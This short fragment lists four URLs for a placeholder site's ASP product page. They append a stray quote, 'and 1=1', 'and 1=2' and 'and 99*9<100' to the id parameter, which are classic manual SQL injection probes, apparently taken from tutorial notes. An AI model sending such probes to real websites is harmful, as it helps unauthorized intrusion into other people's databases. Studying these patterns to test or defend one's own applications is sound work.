http://www.xxx.com.cn/product_more.asp?id=20’
http://www.xxx.com.cn/product_more.asp?id=20 and 1=1
http://www.xxx.com.cn/product_more.asp?id=20 and 1=2
http://www.xxx.com.cn/product_more.asp?id=20 and 99*9<100
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